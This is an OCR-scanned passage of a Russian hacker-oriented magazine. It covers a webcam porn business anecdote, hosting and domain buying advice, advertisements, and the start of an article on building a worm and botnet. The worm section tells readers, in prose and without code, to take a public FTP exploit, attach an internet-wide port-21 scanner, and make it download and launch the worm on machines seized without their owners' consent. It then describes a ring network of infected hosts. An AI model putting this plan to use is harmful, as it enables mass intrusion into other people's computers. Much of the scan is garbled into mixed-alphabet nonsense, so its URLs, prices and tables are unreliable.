ведь чем больше в общей массе (списке на сервере :) 
будет "наших" девушек, тем выше шанс, что посети- 
тель заглянет именно к нам. А кто же откажется увели- 
чить вероятность появления клиента без увеличения 
затрат на оборудование? :) 

Через полчаса наблюдений за порнопроцессом стало 
ясно - это работа не по мне. Каждый день умирать от 
скуки в чате, ведя одни и те же разговоры типа "Привет! 
Хочешь на меня посмотреть?"? Ну уж нет. К тому же вы- 
яснилось, что и с оплатой дело обстоит не так гладко, 
как мне обещали по телефону, - первые деньги я смогу 
увидеть месяца этак через полтора-два. Так что мои по- 
иски новых знаний уложились в полчаса. Я пе- 
чально поведала несостоявшемуся работода- 
телю, что я им точно не подойду, и свалила. 




ЧТО ДЕЛАТЬ ТЕМ, КТО МЕЧТАЕТ О 
СВЕРХПРИБЫЛЯХ ПОРНО? 







Оставим рассуждения на тему законности и 
моральности данного занятия до более под- 
ходящего случая - ограничимся небольшой 
справкой по поводу того, каковы реальные 
возможности человека, принявшего реше- 
ние вступить на данную стезю. Разумеется, 
рассматривать ее как руководство к дейст- 
вию не стоит. 

Так вот - завести собственный маленький 
порнобизнес совсем несложно. Нужно ку- 
пить веб-камеру, зайти на іРгіепсІг.пеІ в раз- 
дел АсІиІІ Опіу, дальше в Весоте а СИаШозІ. 
Прислать скан своего паспорта и через веб- 
камеру пройти фейс-контроль службы, кото- 
рая сравнит твое изображение с присланным 
документом. Если все прошло хорошо - уста- 
новить софт, который предлагается служ- 
бой, сесть и ждать клиентов. 
іРгіепсІз.пеІ обеспечивает возможность зна- 
комства и соблюдение договоренностей 
для обеих сторон. Если совсем коротко - 
служба следит за тем, чтобы клиент не ки- 
нул модель, чтобы модель не кинула клиен- 
та и чтобы вы оба не кинули службу. За это 
іРгіепсІз.пеІ берет себе половину денег. 

За что платят? За привлечение новых клиен- 
тов, за привлечение новых моделей, за тех, 
кого привлекли привлеченные вами клиенты 
и модели, - и так до шестнадцатого колена. 
Нормальная пирамида, как гербалайф или 
кликерство. Но самое главное - платят за 
"сеансы связи". Одна минута видеочата об- 
ходится клиенту в 1 .5 доллара. Чеки высы- 
лаются каждую неделю, если на твоем счету 
набегает не меньше сотни вечнозеленых. 
Кстати - важное примечание для тех, кто все- 
таки собирается заниматься порнобизнесом 
в одиночку (т.е. кто сам себе модель :) - пе- 
ред тем как тратить деньги на покупку обору- 
дования, надо внимательно изучить свое от- 
ражение в зеркале. Если оно наводит на 
мысль о неудавшемся генетическом экспе- 
рименте, то рассчитывать на особый успех и 
бешеные прибыли, имхо, особо не стоит :). 



Х-Стиль Кодинг ч-ІоуЗМск 




ПРОГРАММА УЧЕТА 

игрового времени * 

Роіідоп Кіт 



+ полный учет продаж 
+ контроль администратора 
+ поддержка всех видов тарифов 
+ блокировка игровых станций 
+ генерация отчетов 
+ финансовый анализ 
+ сброс данных в интернет 

...и море других возможностей! 

V 



программа постоянно 
совершенствуется! 

зайди на сайт программы: 





Сеть интернет-клубов 
"ПОЛИГОН” приглашает: 

Управляющих: 

1 . 25-40 лет; 

2. знание ПО, “железа”, сетей; 

3. опыт управления; 

4. прописка М, МО. 

Администраторов: 

1. 18-25 лет; 

2. знание ПО, “железа”, сетей; 
З.опыт работы не обязателен; 

4. прописка или регистрация М, МО. 

Ваше будущее в нашей 
компании: 

^ интересная работа; 

^ профессиональный рост; 

^ стабильная зарплата + премии; 

^ все требования ТК; 

^ дружный коллектив. 









Скажи, ты любишь отдавать деньги? 
Думаю, не очень. Но иногда приходится. 
Например, в обмен на пиво. Или на 
сигареты. Можно, конечно, абсолютно 
бесплатно насобирать хабариков. Но, 
почему-то, не хочется. Вот и получается 
что за все хорошее надо платить. И за 
хостинг, между прочим, тоже. 



<ПРОЩАЙ, ХАЛЯВА!> 



"А как же бесплатные хостинги?" - спросишь ты. О, про- 
сти. Я о них совершенно забыл. Да, разумеется, халява - 
она вечна. И люди ее просто обожают. Но, увы, у бесплат- 
ных хостингов есть лишь одно неоспоримое достоинство - 
их бесплатность. Недостатков же - существенно больше. 
Сразу вспоминаются жуткие баннеры, зачастую вставляе- 
мые на твои страницы автоматически, и дерущиеся при 
этом с твоими собственными. И ограничения на макси- 
мальный размер файлов, и запреты на размещение рек- 
ламы и скриптов, и отсутствие собственного домена. По- 
следнее особенно плохо. Вот поссоришься с хозяевами 
хостинга - бац - и нет твоего сайта. И адреса твоего нет. 
Совсем. И навсегда. Ибо, как пишут, например, на Ииі.ги, 
"Сайты и вся информация с аккаунта после его удаления 
восстановлению не подлежит". 

Впрочем, про бесплатный хостинг написаны уже тонны 
слов. Хочешь узнать про него побольше? Зайди на Яндекс 
и набери "бесплатный хостинг преимущества недостат- 
ки". Обещаю - чтения тебе хватит надолго :) 



<ДОМЕНЫ> 




мость продления регистрации - $1 5. Здесь же можно при- 
обрести и импортные домены. Обойдется это удовольст- 
вие несколько дороже - $25 в год. 



Панель управления сайтом на Ѵаіиеііозі 

Главное, считай, сделано. Теперь остались лишь две ме- 
лочи: выбрать доменное имя и хостинг. Ну и, разумеется, 
их купить. Начнем с домена. 



■ 



<ГДЕ КУПИТЬ> 
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Однако предположим, что ты решил -таки расстаться с 
бесплатным хостингом и обзавестись своим, пусть ма- 
леньким, но гордым и независимым сайтом. 



Доменные имена бывают, как ты наверняка знаешь, оте- 
чественными (зона .ш) и импортными (.сот, .пеі, .огд, 
.іпТо и т.д.). Покупать их можно либо непосредственно у 
хостеров, либо у специализированных регистраторов. 
Главным регистратором для зоны .ш является ВІІ-СЕІМ- 
ТЕВ. Стоимость регистрации на год составляет $20, стои- 



Сайт компании РШ-СЕЫТЕП 

Из импортных регистраторов отмечу Сапсіі, которым сам 
пользуюсь уже не первый год. Стоимость домена в зонах 
.сот/.пеѴ-Огд у него составляет всего 12 евро. Есть, прав- 
да, одна тонкость, несколько затрудняющая покупку - для 
того, чтобы пользоваться его услугами, надо хотя бы не- 




Ньюсы 1 1 Террум 2 



РС 2опе 



Взлом Юниксоид 








много понимать английский и иметь кредитную карточку 
(Ѵіза или МазіегсагсІ). 

Хостеров, не предлагающих услуг по регистрации доме- 
нов, в мире, по-моему, уже не осталось. Что, конечно, хо- 
рошо и удобно. Платишь за хостинг - платишь заодно и за 
домен. Только вот цены у них, зачастую, оставляют желать 
лучшего. 



СТОИМОСТЬ РЕГИСТРАЦИИ (ПРОДЛЕНИЯ) ДОМЕНОВ, $ 




.ги 


.сот 


Регистраторы 






Пи-Сепіег (ш/ѵѵ.піс.ги) 


20(15) 


25 


Сапсіі (ѵѵш/.дапсіі.пеі) 


- 


12* 


Хостеры 






Мазіак.ги 


36 (30) 


20 


МазІегГіозІ.ги 


20(16) 


20 


Маіогсіото.ги 


24 


15 


РБК, ГіозІіпд.гЬс.ги 


20(15) 


35 


* цена указана в Евро 



Но иногда с помощью хостера домен можно получить со- 
вершенно безвозмездно, т.е. даром. И никакого чуда в 
этом нет. Если ты покупаешь хостинг, причем на сколько- 
нибудь длительный срок (месяцев на шесть или на год), то 
стоимость этого хостинга будет значительно выше, чем 
стоимость домена. И, соответственно, доменное имя тебе 
просто подарят. Точнее, включат его стоимость в стои- 
мость хостинга. Не забыв, разумеется, использовать факт 
раздачи бесплатных доменов в своей рекламной кампа- 
нии. Впрочем, нам-то с тобой что до всего этого? Если да- 
ют бесплатно - надо брать. В качестве примера хостеров, 
занимающихся подобной раздачей халявы, можно приве- 
сти Зенон и Мажордомо (адреса их, а также других упоми- 
наемых в статье сайтов, смотри в таблице с ценами). 



<ПОДВОДНЫЕ КАМНИ> 

Во-первых, иногда совершенно случайно может потребо- 
ваться заплатить дополнительную денежку. Например, у 



Мастерхоста в правилах регистрации доменных имен чи- 
таем: "Поддержка бпз для доменов в зонах .сот, .пеі, 
.огд, .іпТо, .Ьіг, .сс, .{ѵ обязательна и оплачивается по та- 
рифу "Резервный"". $1 в месяц - это, конечно, почти не 
деньги. Но все равно неприятно. 

Во-вторых, будешь покупать домен, обрати внимание на 
маленькую деталь - кто, собственно, будет хозяином до- 
мена, который для тебя зарегистрирует хостер? Если ты 
регистрируешь домен в ВІІ-СЕІМТЕВ или в Сапсіі - тут все 
понятно. Ты хозяин - и никаких гвоздей. Хостер же может 
назначить хозяином как тебя, так и себя самого. И груст- 
ные прецеденты, когда люди, уходя от нежно любимого 
хостера, получали массу геморроя ради возвращения род- 
ного домена, были. Особенно памятен в этом отношении 
ныне покойный Зогіх. Поэтому, если уж домен для тебя 
покупает хостер - не поленись выяснить, на кого же он 
окажется зарегистрирован. Спроси у самого хостера, 
спроси у людей, которые с ним имели дело. 



<ГДЕ ИСКАТЬ ХОСТЕРА?> 



Откуда начинать поиск хостера? С сайтов и форумов, по- 
священных этой теме! Вот тебе для начала несколько от- 
правных точек: 



ИПр://ргоѵісІег 2 .ги 
ІШр:/Дю5№ог.ѵѵеЬ$сгірІ ш 
МПр://\Л/еЫНо5ІіпдТаІк.РІ) 
ИНр:/Догит.ги-ЬоагсІ.сот/Іогит5.сді?!огит=11 



Также имеет смысл заглянуть в различные каталоги, на- 
пример, в Рамблеровский Тор 100 
(!Шр:/Дор1 ОО.гатЫег.гиДорІ 00/ІЗРз) 

0 



НЕКОТОРЫЕ ЦЕНЫ НА ХОСТИНГ 




Тариф 


Место 


Цена/месяц 


Траффик 


Сді * 


Зенон (ѵѵѵѵѵѵ.ГіозІіпд.гепоп.ги) 


Экономный 


50 Мб 


$7 


17 Гб/день 


- 




Деловой 


150 Мб 


$25 


17 Гб/день 


+ 


Мастак (ѵѵш/.тазіак.ги) 


Экономичный 


100 Мб 


$8 


3 Гб/ мес 


+ 




Большой 


100 Мб 


$30 


50 Гб/ мес 


+ 


Мастерхост (ѵѵѵш.тазіегііозі.ги) 


Стартовый 


50 Мб 


$4.95 


10 Гб/ мес 


- 




Оптимальный 


250 Мб 


$9.95 


10 Гб/ мес 


+ 


Мажордомо (шм.таргбото.ги) 


ЗйП 


60 Мб 


$5 


Неогр. ** 


- 




Мазіег 


150 Мб 


$10 


Неогр. ** 


+ 


Хайвей (ѵѵш/.ІіідИѵѵау.ги) 


НѴѴ-100 


100 


10 


Неогр. ** 


+ 




НѴѴ-300 


300 


20 


Неогр. ** 


+ 


Инфобокс (ѵѵѵѵѵѵ.ГіозІіпд.іпГоЬох.ги) 


Міпі 


10 


4.95 


Неогр. ** 


+ 




Визіпезз 


500 


14.95 


Неогр. ** 


+ 


ВебСервис Центр (ш/ѵѵ.сепіге.ги) 


ѴѴ1 


100 


6 


Нет. инф. *** 


+ 




№ 


300 


10 


Нет. инф. *** 


+ 


ѴаІиеГіозІ (ѵѵѵѵѵѵ. ѵаі иеГіозІ. ги ) 


План А 


300 


8.95 


Неогр. ** 


+ 


* - Разрешено ли использование собственных скриптов? 

** - Про неограниченный трафик - читай в статье. 

*** - Мне не удалось найти на сайте информацию о трафике. 



Что делает фантазию реальностью? 



Ц5.КоЬоііс5 
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АіЪлогоіЕіе, 
кабальные и 
ОЗЬ-модемы 

Тл Г\ 

Модемы ЕІ.З.ВоЬоІісз 
одни из самых попу- 
лярных модемов 
в мире. Заложенные 
в них технологии 
помогают сделать 
деловую и развлека- 
тельную информа- 
цию в Интернет лег- 
кодоступной, а также 
соединить по элек- 
тронной сети людей 
во всем мире. 




Сетевой адапте] 
10/100 Мбит/с 
ІІЗП7900 



Сделайте Ваш компь- 
ютер частью сети. При 
помощи сетевых адап- 
теров ЕІЗП7900 и мар- 
шрутизатора Вы смо- 
жете объединить 
Ваши компьютері 
в сеть 10/100 Мбит/с. 
Простая инсталляция 
(РІид апб РІау) и техно- 
логия «Контроль 
работы І_АЫ (ѴѴоІ_) » - 
дистанционное управ- 
ление адаптерами, по- 
могут Вам в построе- 
нии сети. 






Создание сети пере- 
стало быть сложным. 
С 5-ти портовым ком- 
мутатором ЕІЗВ7905 
Вы построете локаль- 
ную сеть за считан- 
ные секунды и соеди- 
ните компьютеры 
в сеть 1 0/1 00 Мбит/с. 
К коммутатору могут 
быть подключены 
адаптеры различных 
производителей. Вы 
сможете легко нарас- 
тить имеющуюся сеть 
и -объединить столько 
компьютеров, сколько 
необходимо. 



* 



Постройте сеть для 
Ваших компьютеров. 
Подключите модем 
к маршрутизатору 
ЕІЗР8000 и все компью- 
теры Вашего дома или 
офиса смогут получить 
скоростной доступ 
в Интернет. Помимо 
этого в Вашем распоря- 
жении окажутся 
ресурсы построенной 
сети: игры, музыка, 
видео, а также возмож- 
ность использования 
сетевого принтера 
и уже встроенный 
в маршрутизатор 
ТігеѵѵаІІ. 



ккс 

Визіпезз Теіесоттипісаііопз 
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Оптовые поставки оборудования осуществляет 
компания ВВС - мастер-дистрибьютор ІІ.З.ВоЬоіісз Согр. 
• Москва: (095) 956-1717 • С.-Петербург: (812) 325-0636 

ПРИГЛАШАЕМ К СОТРУДНИЧЕСТВУ ДИЛЕРОВ 












< КРИТЕРИИ ВЫБОРА ХОСТЕРА> 



Хостеров нынче развелось - как собак нерезаных. С одной 
стороны, это даже неплохо, ибо есть из чего выбрать. С 
другой - не очень, глаза разбегаются. 

Итак, по каким же критериям будем выбирать? 

Прежде всего, по необходимым тебе техническим харак- 
теристикам. Объем дискового пространства, ограничения 
по трафику, требуемые языки программирования, скрип- 
ты, базы данных и прочие возможности типа кронтаба и 
доступа по 55 Іі. То есть, если что-то из этого хостер тебе 
обеспечить не сможет, ты к нему просто не пойдешь. Сю- 
да же отнесем выбор между ІІпіх- или ѴѴіпсІоѵѵз-хостингом. 
Помимо техники, не стоит забывать и о качестве. Загру- 
женность серверов, скорость реакции и толковость сап- 
порта, удобство работы, частота и продолжительность 
"проведения профилактических работ". Как несложно до- 
гадаться, это тоже имеет некоторое значение. 

В общем, можно сказать, что нужный тебе хостинг - это тот, 
который при выполнении заданных тобой технических ус- 
ловий и хорошем качестве имеет минимальную цену. 



<ОБЪЕМ ДИСКОВОГО ПРОСТРАНСТВ 




Ориентируйся на то, чтобы купить места минимум в два 
раза больше, чем его нужно сейчас. Ибо запас карман не 
тянет. 

Если планируешь хранить всевозможные большие файлы 
(музыку, архивы и т.д.) - убедись, что хостер не прописал 
где-нибудь в договоре (маленькими-маленькими буквами 
:)), что этого делать нельзя. Собираешься заниматься 
порно или кряками? Знай, многие провайдеры этого 
очень не любят. И есть серьезная опасность вылететь с 
хостинга даже без предупреждения. 



<СОФТ: РегІ, РНР, АЗР, базы данных 
и иже с ними> 



Если сайт у тебя уже есть, ты прекрасно знаешь, сколько 
он занимает места и как быстро растет. Если еще нет - по- 
старайся прикинуть, хотя бы приблизительно. Если сайт 
состоит, по большей части, из текстовых страничек, то на 
то, чтобы заполнить ими 10 мегабайт, времени потребу- 
ется изрядно. Если же ты планируешь хранить на сайте 
домашнюю фотоколлекцию, причем в хорошем качестве - 
и гигабайта может оказаться мало. 



Здесь все просто. Если у тебя сайт уже есть - соответ- 
ственно, ты знаешь, какой именно софт нужен для того, 
чтобы твои программы успешно функционировали. Зна- 
чит, не забудь выяснить, есть ли он у хостера. Ну, а ес- 
ли ты только собираешься заняться программировани- 
ем, но еще не определился со своими предпочтениями, 
то, боюсь, в этом случае я тебе не советчик (хотя сам 
лично предпочитаю РегІ :)). 

Что касается баз данных. Многообразия в этом плане 
не наблюдается. Практически все хостеры предлагают 
Му5С!І_, лишь изредка можно встретить розІдгеЗОІ.. Во 
многих случаях базы не входят в дешевые тарифные 
планы. Иногда (скажем, на некоторых тарифных планах 
у Мастака) за них придется платить дополнительно. 
Существуют хостеры, которые предоставляют и более 
серьезные базы - Огасіе, М55С)І_ или ІпТогтіх. Правда, 
это негативно отражается на стоимости хостинга. К 
примеру, у НозМ/ау.ш самый дешевый тарифный план 
(50 Мб дискового пространства) стоит $39 в месяц. 



<ЗАГРУЗКАСЕРВЕРА> 



Увы, возможности любого сервера не безграничны. 
Попробуй составить каждую свою страницу из десяти 
кусочков, собери их вместе с помощью 55І. И пусть 
каждый из кусочков создается собственной увесистой 
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сді-шкой, желательно - с использованием ба- 
зы данных. Все. Как только твой сайт наберет сколь- 
ко-нибудь значительную популярность, серверу сразу 
станет тяжело. 

Поэтому хостеры зачастую ограничивают ресурсы, кото- 
рые может себе отъесть один хостящийся (например, не 
более 10% загрузки процессора). Кстати, правильно 
делают. Ибо нефиг. Если хочется развлечься тяжелы- 
ми программами - покупай свой выделенный сервер и 
изучай, как быстро можно исчерпать его ресурсы. 
Или, будь любезен, учись делать сайты и программи- 
ровать по-человечески. 



<ТРАФИК> 



Как определиться с необходимым трафиком? Да эле- 
ментарно! Берешь средний размер своей страницы с 
картинками (допустим, ЗОК), умножаешь на количество 
загрузок страниц в день (5000), умножаешь на трид- 
цать (количество дней в месяце) и еще на два (на вся- 
кий случай :)). В результате, если я ничего не напутал, 
получаем девять гигов. Вот от них-то и надо плясать. 




А как же неограниченный трафик, которым так любят 
заманивать клиентов хостеры? Знай, неограниченного 
трафика не бывает. Как не бывает дармовой закуски. 
Поскольку сам хостер за него платит. Так что трафик 
может быть неограниченным лишь в разумных преде- 
лах. Которые, впрочем, могут быть достаточно боль- 
шими. Примеры? Пожалуйста. 

Вот, скажем, всеми уважаемый Мастерхост. Идем по 
адресу !ійр://та5Іег!іо5І.ги/5егѵісеДагі^5/3/. Ви- 
дим: "Трафик не ограничен". Кликаем на слово 
"Трафик". Читаем и наслаждаемся: 

"Исходящий трафик не 
ограничи- 

















За нами 
будете . . . 
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вается и для любого тарифного плана предоплачен в 
размере 10 Гб в месяц. Исходящий трафик свыше 10 
Гб оплачивается по тарифам, устанавливаемым для 
каждого клиента индивидуально, но не выше 1$ за 
Гб." 

Вот так. Десять гигов - это, конечно, немало, но для 
серьезного сайта - величина вполне преодолимая. И 
если, допустим, обзор программы, архив которой 
хранится на сайте, попадет в какое-нибудь серьезное 
издание, то легко может получиться так, что за допол- 
нительный трафик придется заплатить существенно 
больше, чем собственно за хостинг. 

А еще хостеры с "неограниченным" трафиком не лю- 
бят размещать у себя все то, что этот самый трафик 
особенно сильно генерит. В частности, чаты, архивы. 
Например, на сайте Инфобокса ясно сказано, что у 
них "запрещено размещать сайты, содержащие: веб- 
чаты; ІВС; Іор-сайты; трЗ сайты; порнографию и лю- 
бые материалы сексуального характера, даже если 
они легальны; сгаск/Иаск сайты". 

В общем, не надейся, что за 10 долларов тебе дейст- 
вительно обломится море трафика. И лично я бы не 
рискнул сунуться с трафикогенерящим сайтом к по- 
добному провайдеру. По крайней мере, до тех пор, 
пока не услышал бы в явной форме: "Исходящий 60 
гигов в месяц? Нормально, проблем не будет". Прав- 
да, я человек доверчивый :-). 

Особо остро проблема трафика может встать перед 
тобой, если ты занимаешься написанием программ. 
Шароварных, или там фриварных. И планируешь вы- 
кладывать их на своем сайте. Тогда при выборе хос- 
тера тебе придется уделить этой проблеме особое 
внимание. 

Кстати, если ты шароварщик - обрати внимание на хо- 
стера по имени "Мастак". Для таких, как ты, у него 
найдется парочка довольно вкусных плюшек. Бесплат- 
ная начальная установка (обычно - $5), тарифные пла- 
ны "Стандартный" и "Профессионал" - обойдутся $15 
и $35 вместо $20 и $40 соответственно. "Малый" же 
план ты вообще сможешь бесплатно использовать це- 
лых три месяца. 



СМШРОМЗ ИЛИ УШХ?> 



программное обеспечение, необходимое для функци- 
онирования ѴѴіпсІоѵѵз-хостинга, стоит денег, причем 
немалых (например, у Хайвея за $20 можно купить 
ІІпіх-хостинг на 300 Мб, а ѴѴіпсІоѵѵз-хостинг - только на 
50 Мб). ІІпіх-хостинг, наоборот, можно собрать, опи- 
раясь исключительно на бесплатный софт. Во-вторых 
(если, конечно, это "во-вторых" тебя еще интересует 
:)), ІІпіх-хостинг более распространен. Так что, и 
вспомогательных материалов, посвященных ему, на- 
берется существенно больше, и людей, с ним знако- 
мых, найти проще. В общем, если ты не успел жестко 
завязаться на какой-нибудь чисто виндозный софт ти- 
па ѴВЗсгірІ, АЗР или МісгозоЙ ЗС)І_ Зегѵег, то ориенти- 
роваться на ѴѴіпсІоѵѵз-хостинг никакого смысла нет. 
Кстати, наткнулся я тут на интересную статью. Живет 
она на сайте Майкрософта и называется "Рагкіпд.Ви 
переводит клиентов на платформу ѴѴіпсІоѵѵз" 
(ѵѵѵѵѵѵ.шісгозоЙ.сот/гиз/Ьизіпезз/сазезШсІіез/рагкіпд). 
Повествует, как и следует из названия, о том, что дан- 
ный провайдер перевел всех своих клиентов с Юник- 
са на Винды, и как им стало хорошо и приятно. Мучи- 
мый любопытством, иду на сайт Паркинга и на стра- 
нице "Услуги и цены" радостно наблюдаю ссылочку: 
"Дополнительные услуги. ІІпіх-хостинг". И ведет она 
на ѵѵѵѵѵѵ.тазіегіюзі.ги... 



< КАЧЕСТВО. ИЛИ КАК НАСЧЕТ 
П ОТЕСТИ РО В АТЬ?> 



Знай, что если на машине хостера стоит ѴѴіпсІоѵѵз - это 
называется ѴѴіпсІоѵѵз-хостинг. Ну, а если какой-нибудь 
І_іпих или Зоіагіз - то, соответственно, ІІпіх-хостинг. 
Если ты не знаешь наверняка, зачем и для чего нужен 
ѴѴіпсІоѵѵз-хостинг, смело выбирай ІІпіх-хостинг :). Во- 
первых, потому что он значительно дешевле. Ведь все 



ставляется явно (впрочем, достаточно редко). Напри- 
мер, она есть у Инфобокса. У меня там, правда, в про- 
цессе тестирования почему-то подтормаживала панель 
управления. Что ж, вот тебе и польза от тестов :). 
Чаще же можно столкнуться с топеу Ьаск. Т.е. платишь 
денежку, неделю-другую пытаешься обжиться на но- 
вом месте. Если не получается - забираешь свои кров- 
ные обратно. Такую услугу предлагают, к пример у/'Зе- 
нон", "ВебСервис Центр", Мажордомо. Ну и, разумеет- 
ся, всегда можно обратиться с просьбой о предостав- 
лении тестового сервера в службу поддержки любого 
другого хостера. По наглому. Вдруг дадут. В конце кон- 
цов, чем ты рискуешь? 



<СПОСОБЫ СЭКОНОМИТЕ 



Так, давай предположим, что с техническими критерия- 
ми выбора хостера мы разобрались. Теперь немного по- 
говорим о качестве. И тут, как ни странно, все совсем 
просто. Надо лишь спрашивать и тестировать. 

Для каждого хостера, который прошел сито твоего тех- 
нического отбора, необходимо проделать следующие 
вещи: 

1 ) Походить по форумам и почитать, что про него пи- 
шут люди. Если у хостера есть проблемы с надежнос- 
тью, загрузкой и прочими подобными вещами - не со- 
мневайся, тебе об этом сообщат. Хотя, с другой сторо- 
ны, благодарности наш народ писать обычно не любит. 
Посему чем крупнее хостер, тем больше недовольных 
ты встретишь. Учитывай это. 

2) Придумать парочку в меру дурацких вопросов и по- 
мучить ими саппорт. Посмотреть на скорость реакции 
и качество ответов. 

3) Попробовать хостинг потестировать. 

Вряд ли кто будет спорить, что тестирование - процесс 
чрезвычайно полезный. Прежде чем лезть в воду, ты 
суешь туда руку или ногу. Прежде чем купить машину - 
садишься за руль и проезжаешь несколько километ- 
ров. А прежде чем купить хостинг? Хорошо бы его тоже 
сначала поюзать. Иногда такая возможность предо- 



Деньги, как известно, лишними не бывают. Поэтому да- 
вай под конец рассмотрим различные способы сокра- 
щения расходов на хостинг. 

Способ первый. Различные скидки, предоставляемые 
при покупке хостинга на длительный срок. К примеру, на 
ѵаІиеНОЗТ.ги при оплате сразу на год, скидка составля- 
ет 10%. Впрочем, я бы сразу за год платить не рискнул, 
особенно, если хостер мне малознаком. Не понравится 
хостинг через 2-3 месяца - что делать будешь? 

Способ второй. Партнерские программы провайдеров. 
Скажем, Мастак за каждого нового хостинг-клиента пла- 
тит $5. Так что если ты зарегистрируешься через кого- 
то из своих знакомых, кто у него уже хостится, то он за- 
работает $5. Ну, а если кто-то зарегистрируется через 
тебя, то и богаче станешь, соответственно, ты. 

Способ третий. Рекламные акции, приуроченные к оче- 
редному празднику, времени года или дню рождения 
кота директора фирмы. Если ты не слишком торопишь- 
ся с покупкой хостинга, то, вероятно, стоит подождать 
рождественских распродаж. По крайней мере, в про- 
шлом году они были весьма неплохие. 



СПОДВОДЯ ИТОГЕ 



Очевидно, что, рассказывая о хостинге, невозможно 
принять во внимание все аспекты. О самом важном, 
что стоит учитывать, я тебе рассказал - ну, а ты, по- 
гуляв по приведенным выше ссылкам, с легкостью 
найдешь все недостающее. Будь внимателен и при- 
дирчив. Изучи все договоры и регламенты, которые 
есть на сайте хостера. Знаю, скучно. Но не говори по- 
том, что тебя не предупреждали. 

Ну, а главное, никогда не забывай, что ты - клиент. 
Тот самый, который всегда прав. А если где-нибудь 
тебя будут убеждать в обратном, что ж... Хостеров 
нынче много :). • 
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Наверное, каждый сталкивался с такой проблемой, как нехватка ресур- 
сов отдельно взятой машины - будь то домашняя тачка или шелл. В этой 
статье речь пойдет о том, как можно избавиться от таких проблем. 











Что подразумевается под этой "нехваткой"? 
Применительно к миру информационной безо- 
пасности это может означать примерно следу- 
ющее: имеется куча натасканных с различных 
хостов гткіб-хэшей, которые необходимо ба- 
нально подобрать, либо несколько миллионов 
ІР-адресов, которые надо просканить на нали- 
чие чего-либо. Естественно, при сегодняшних 
скоростях осуществить подбор, используя 
средства всего одной машины - весьма труд- 
ная задача, просканить такое количество - то- 
же. Здесь приходится рассчитывать скорее на 
удачу, чем на математический детерминизм 
(во, какое слово!) этого процесса - он может 
длиться годами. Но в 99,9 процентах случаев 
такой срок совершенно неприемлем. Как мож- 
но ускорить процесс? 

Конечно, можно подождать появления более 
быстрых машин и более широких каналов. 
Если же ждать не хочется, то придется огра- 
ничиться имеющимися средствами. Одним из 
таких средств является кластеризация или, 
говоря простым языком, использование не- 
скольких (десятков, сотен, тысяч) машин для 
осуществления нужных вычислений. Действи- 
тельно, зачем десять лет ждать появления 
машин в 1 000 раз быстрее существующих, 
если уже сегодня можно при желании "за- 
прячь" 1000 компов, получив ожидаемые 
только через 10 лет ресурсы. Теперь надо 
прикинуть, как все это реализовать: собрать 
кучу машин и сделать так, чтобы они согласо- 
ванно работали над единой задачей. Причем 
нельзя забывать, что решать эту проблему 
хакеру придется без согласия людей - вла- 
дельцев той самой кучи машин. Чтобы избе- 
жать лишних проблем, связанных с засвет- 
кой, надо свести такое участие к минимуму. 



СОЗДАНИЕ ЧЕРВЯ 



Начнем с самого начала, с того момента, 
когда, кроме не совсем кривых рук, нет ни- 
чего. Первый вопрос напрашивается сам со- 
бой - где взять отвечающее нашим потреб- 
ностям количество машин. А как сказал ум- 
ный человек, потребности людей неограни- 
ченны, так что задача, стоящая перед хаке- 
ром, весьма серьезна. Из сводки новостей 
по информационной безопасности за по- 
следние несколько лет мы узнаем, что суще- 
ствуют 2 напасти на честных админов - это 
хакеры и черви. Причем последние повинны 
в заражении миллионов машин (взять хотя 
бы таких представителей, как сосіегесі, 
пітсіа, кіеі и пр.). Так что мешает сделать 
своего червячка, который прошелся бы по 
Инету и дал, что нужно. Как это сделать? 
Простейший вариант выглядит примерно 
следующим образом: 

Зайти на пакетшторм. Скачать работающий 
эксплоит. Прикрутить к нему сканер. Допустим, 
сплоит написан для очередного ѵѵийрсі. Следо- 
вательно, сканер должен просто чекать весь 
Интернет :) на открытый 21 порт и, в случае 
его (порта) открытости, применять к нему 
сплоит. Далее надо смодифицировать эксплоит 
таким образом, чтобы он не тупо перенаправ- 
лял зісііп и зісіоиі с консоли на сокет и обратно, 
а исполнял на удаленной машине некую после- 



довательность команд (пусть это будет обыч- 
ный шелл-скрипт), которая закачивала бы не- 
обходимого червячка на эту самую машину и 
запускала бы его там. 

Все! Червяк написан! Правда, это простей- 
ший вариант, работающий порой очень не- 
эффективно, но этого пока достаточно. Мож- 
но его запустить, подождать пару дней, а 
потом наслаждаться количеством инфициро- 
ванных машин. Но пока только наслаждать- 
ся... В данном случае не получится восполь- 
зоваться зараженными хостами в каких-то 
своих целях. Да, конечно, можно прикрутить 
к червю бэкдор и тем самым получить неко- 
торый акцесс к тому или иному зараженному 
хосту, но это не позволит использовать их 
для других целей (распределенное выполне- 
ние задач) - придется коннектиться к каждой 
машине, исполнять там определенную ко- 
манду, а затем мониторить ее выполнение. 
Если машин тысячи, то весь процесс стано- 
вится довольно затруднительным. И, кроме 
того, это очень несекьюрно: такого хакера 
смогут вычислить на раз-два - ведь между 
ним и зараженной машиной ничего не стоит 
(можно заюзать проксю, но это не избавит 
от проблемы, а лишь немного затруднит 
процесс вычисления взломщика). 



СОЗДАНИЕ СЕТИ 



Чтобы решить эту проблему, необходимо орга- 
низовать сеть из зараженных машин. Идея со- 
стоит в том, что, контактируя только с одной 
машиной сети, хакер имеет доступ ко всей сет- 
ке. Все хорошо, только вот проблема - необхо- 
димо разработать структуру, топологию и 
принципы работы сети, да еще с тем расчетом, 
что в эту структуру время от времени должны 
будут автоматически вписываться новые зара- 
женные машины. Задача, пожалуй, самая 
сложная из всех, касающихся создания плат- 
формы решения распределенных задач. Рас- 
смотрим модель, когда все машины в сети 
равноправны. 

Как будет происходить организация сети? 
Допустим, есть машина, сканирующая сеть 
на наличие других машин с багами и зара- 
жающая их. Теперь допустим, что она успела 
заразить 10 машин и должна организовать 
из них сеть. В целях безопасности каждая 
машина сети должна обладать как можно 
меньшим количеством информации о сети в 
целом. Другими словами, нельзя позволить, 
чтобы каждая из 1 1 машин (10 зараженных и 
одна заражающая) знала адреса всех других. 
Один из самых простых вариантов - создать 
кольцо из зараженных машин, т.е. каждая 
машина знает адреса двух машин, находя- 
щих "сзади" и "спереди", а самая последняя 
машина знает адрес предпоследней и пер- 
вой машин. Как это работает? Предположим, 
хакер соединяется с первой машиной, зара- 
зившей остальные 10, и ему нужно, чтобы 
определенная команда распространилась по 
всей сети. Он шлет ее на эту машину. Она 
передает ее первой зараженной, которая, в 
свою очередь, второй и т.д. Десятая 
машина передает этот пакет на ту ма- 
шину, с которой его отправили, и он 
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ЛУЧШИЙ И ПОЛЕЗНЕЙШИЙ 
ЖУРНАЛ ОБО ВСЕМ 
МОБИЛЬНО-ЦИФРОВОМ 
